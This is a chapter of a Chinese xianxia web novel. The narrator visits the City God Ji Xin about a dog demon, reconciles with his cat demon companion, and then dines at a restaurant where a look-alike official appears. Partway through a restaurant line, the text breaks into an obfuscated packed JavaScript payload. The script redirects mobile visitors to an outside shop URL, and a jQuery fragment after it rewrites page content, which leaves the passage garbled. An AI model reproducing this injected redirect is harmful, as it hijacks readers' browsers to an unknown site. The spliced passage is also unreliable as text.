城隍庙在皇城南郊远的王曲镇。

    这座城隍庙被称为都城隍庙,被誉为十三省总城隍,城隍爷名唤纪信。

    秦问灵带着一鸟一猫刚刚踏进城隍庙的大门,便听见了纪信浑厚的笑声:

    “哈哈哈!执令使大人近来可好,怎的也不找俺老纪吃酒啊?”

    “城隍爷,这话可是说笑了,你天天日理万机的,我真要天天来寻你吃酒,怕不是要讨打。”

    秦问灵端着四平八稳的笑与纪信见礼。

    纪信生前为武将,性格好爽,为人忠义,生前为护主而死。

    对于这样人或者神仙,秦问灵十分敬重,往常的懒散张扬的性子也会收一收。

    “纪信。”炎熠幻化人形,上前一把搂住城隍爷的脖子,笑着说道:“等过了年,他不来寻你,我来。”

    “啊哈哈哈,纪某恭候星君。”纪信反手搂住炎熠,开怀大笑。

    “呵呵,是前星君。”赵念白站在秦问灵身后,嫌弃地翻白眼。

    纪信看到漂亮的白衣少年,凑近秦问灵问道:“它就是你家那只白猫。”

    秦问灵颔首。

    纪信从上到下认认真真打量赵念白。

    赵念白下意识往后挪了挪,稍微有些抗拒。

    “这猫儿的灵根不错,可惜没有道心。”纪信神色略带可惜的下了判断。

    赵念白低头没出声。

    纪信转头对秦问灵道:“执令使大人寻老夫所为何事?”

    “城隍爷可听闻九尾狐之事了?”

    “听说了。”

    “那城隍爷可知,城里来了额上有功德印的犬妖?”

    “知晓,前日是我命人给他开的皇城结界。”

    “城隍爷可知此妖的来历?”

    纪信坐在桌案后微微皱眉,他的食指敲着桌案。

    “若是不方便,秦某走一趟地府便是,城隍不必为难。”秦问灵准备起身。

    城隍纪信抬手,示意秦问灵稍安勿躁:“并无不便,只是此妖的名录并未挂在我十三省城隍庙下。”

    纪信看了眼赵念白,说道:“就如你身后那只猫儿只挂在执令使你的名录下一般,那只犬妖挂在了南方鬼帝府的名录里,故而,老夫对此妖直至甚少。”

    各地若有生灵化妖,如无特殊情况,会立刻记录在十三处城隍庙的名录下,以便管理。

    不过也有少数的妖会挂在特定的神仙或者仙府门下。

    出现这种情况多是因为妖与神仙有渊源或者有大功德。

    如果是南方鬼帝府的话......

    “这犬妖不会上过战场吧......”

    秦问灵轻声自言自语。

    “确有可能,南方鬼帝这几百年来,经常会把在战场上立过功德的妖挂在府中。”纪信想了想南方鬼帝的脾性,接着道:“要我说南方鬼帝虽然性子差了些,但也是个豪爽的人。”

    秦问灵起身,朝纪信行礼,说道:“多谢城隍爷,年关将近,可能会不太平,如需在下搭把手,城隍爷尽管开口。”

    纪信回礼,抬手蹭了下鼻头,有些不确定地问道:“执令使大人,前阵子刑部王大人送信儿来说,咱们皇城元月有......有妖刀现世......”

    “城隍爷不必多虑,在下会看好。”秦问灵笑着说道。

    纪信听秦问灵这么说,把心里那点担心全都扔会了肚子,爽朗笑着说:“有执令使大人这句话,老夫就放心了。”

    出了城隍庙,重新化成凤凰的炎熠站在秦问灵的肩上问道:“你不会为了寻那只犬妖的生平去找南方鬼帝吧?”

    秦问灵嘴角含笑,斜睨了自己凤凰一眼,说道:“怎么可能?不到万不得已,我是不想去招惹那厮的。”

    “那要如何......”

    炎熠还想继续问下去,不料被跟在他们身后的赵念白打断了。

    “秦问灵,为何你不去查妖刀之事,反而要关心一只犬妖,他现在可是活得好好的。”

    秦问灵顿住脚步,抬手示意赵念白跟上他们。

    他伸手揉了把少年柔顺的头发,笑着说道:“忘记与你说了,挖了那犬妖妖丹的便是那把妖刀,只不过这次......”

    秦问灵看着赵念白皱起的双眉,知道他在想九尾狐九梦的事情。

    他接着解释道:“不知是那把妖刀找到了主人,还是发生了其他的变化,它的手法变了,我这才会去寻这只犬妖的来历,这也是为何我会犬妖带回祥云斋的原由。”

    听完秦问灵的解释,赵念白的神情稍稍缓和了些,踌躇了会,又开口问:“那......那你为何先前不说。”

    “念白,若从今往后你老老实实跟在我身边,哪怕你想杀了我,有些事情,你不问我都会让你知道,可是......”秦问灵收了笑容,声音冷而严肃地说道:“若你再动歪心思,那么你永远都不会再有机会问什么,说什么,亦或是自由自在地活着......”

    “再一再二不再三。”撂下最后的警告,秦问灵转身向繁华的皇城走去,“听懂了就跟上。”

    “啧,你这样威胁他,他怎么敢听不到......”炎熠在秦问灵肩膀上嘀咕。

    秦问灵伸手薅掉了凤凰两根漂亮的尾羽。

    “秦问灵!”

    炎熠气得腾空,伸长鸟嘴就要啄秦问灵的脑袋。

    秦问灵指尖微微一动,金丝立刻在他的头顶形成了盾,游走在秦问灵头顶各个方向,抵挡这凤凰的攻击。

    赵念白站在原地,本是满脸不甘,可看到秦问灵幻出的金丝,想到两人出手的那天,想到那支满是死气的碎魂箭,终是跨下了肩膀。

    他知道,自己屡屡化险为夷有很大的原因都是因为秦问灵。

    就连地府当年去昆仑山寻他的那个人,说不准都是因为秦问灵。

    这六百年间,秦问灵从不曾这样对他说过话,全都由着他的性子瞎折腾,这回......

    赵念白闭上双眼,复又睁开,追上了已经离他有一段距离的一人一鸟。

    炎熠看赵念白追了上来,在秦问灵耳边吵道:“猫崽子果然是猫崽子哈,聪明的很。”

    秦问灵嘴角微微上翘,轻声道:“不聪明怎么能化妖啊......”

    这时,赵念白追到两人身边,秦问灵笑着看向赵念白:“今晚去百福楼吃全鱼宴。”

    赵念白舔了下嘴唇,异色的双瞳显现了下继而变回黑瞳。

    “啧,出息。”炎熠不屑。

    秦问灵笑出了声。

    猫儿回家是远远不够的,猫儿的心肯回家才是最重要的。

    *

    秦问灵的脚尖才刚刚迈进百福楼,在柜上算账的掌柜就闻着肉味的狗似得,迅速窜出柜台,颠着小碎步出现在了秦问灵的身侧。

    炎熠早已幻化成人型与赵念白并肩跟在秦问灵身后。

    “秦大人,楼上的‘水云间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762350|209629||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ’空着呢,我带您过去。”掌柜招呼完秦问灵,不忘向炎熠问好:“凤凰大爷,今儿刚好做了‘荷叶鸡’,您要不要尝尝?”

    “不用,今天是带他来吃全鱼宴的。”炎熠把赵念白往前一推,然后在赵念白耳旁轻声说:“以后想吃顿好的就来这里,这家店有专门招呼神仙和妖的客房。”

    “哟,小的我眼拙,不知道这位小爷是?”掌柜见炎熠这般介绍眼前的少年,便知其身份不一般,怕招呼不周惹了少年不快,笑吟吟地问道。

    “猫爷。”

    炎熠轻轻揉了下赵念白的脑袋。

    “炎熠!”

    赵念白瞪眼,秦问灵揉他便揉了,这炎熠怎的也跟着不学好。

    听闻炎熠的话,再加上今天他们要吃全鱼宴,掌柜心中了然,眼前这位的原型大抵是猫。

    掌柜张口便是猫儿愿意吃的东西:“猫爷,除了这全鱼宴,咱们店里的烧鸡、烤鸡,还有鸡汤做的也是不错的,等哪天空了,你赏脸随时来试试。”

    掌柜的话音方落,一道熟悉的声音便响起了。

    “秦问灵?”

    正在上楼的三人抬头,看到了王仲卿。

    “你们这是?”王仲卿有些意外秦问灵居然会来酒楼。

    秦问灵虽是个嘴馋的,但他大多是让店里把菜送到祥云斋吃,很少出来。

    “猫儿诚心归家,来庆贺一番。”秦问灵甚是开心,眯眼笑着说道。

    王仲卿侧身看向他身后的赵念白,不置可否:“嗯,此事确实值得庆贺。”

    “你们两个就不能上去再聊,非得挤在楼梯上?”炎熠不悦出声。

    几人边聊边上楼,秦问灵他们这才知道,王仲卿今日有应酬,说是为新上任的国子监丞接风洗尘。

    “案子明日应该就能有些眉目,到时我再去寻你。”

    到了“梦里花”的包间,王仲卿停下了脚步。

    秦问灵点头,对王仲卿说:“细犬妖估摸要在梨树下睡七日才能醒,醒来后约摸只会使一只普通的犬,到时也无法问出什么,仲卿恐要多费心。”

    “省的。”

    王仲卿边应边推开包间的门。

    炎熠的眼睛往包间里一扫,凤眼立时燃起星点赤芒。

    “不对!”

    不等其他人反应,炎熠上前猛地把门推开。

    包间席上的人被动静惊扰,站起身往门口看。

    秦问灵的目光刚好落在了席间上首位的人身上,不由愣了下。

    炎熠转头问王仲卿:“那人是谁?”

    王仲卿本是诧异,听炎熠这般问,心下了然,笑着道:“那位便是国子监丞郑大人,郑长风。”

    炎熠用凤眼仔细打量了一番郑长风,并未发现有什么不对的地方,才收了眼里的赤芒。

    “这长得也太像了些。”炎熠低声嘀咕。

    秦问灵眯眼也看了郑长风几眼,他也觉得那人很像自己,不然他方才不会怔住。

    “没你说的那么像,顶多六分。”赵念白朝里看了眼,接着道:“那人一看便是心思深沉,手段很多,秦问灵比他看着舒服些。”

    王仲卿听着他们的对话无奈苦笑,摇头道:“三位祖宗,要不你们里边请,要不就让我们好好吃,如此站在包间门口评说,实在不妥。”

    秦问灵收回目光,带着炎熠和赵念白往水云间走去,掌柜全程禁声当没听到。

    王仲卿目送他们离开,进了包厢。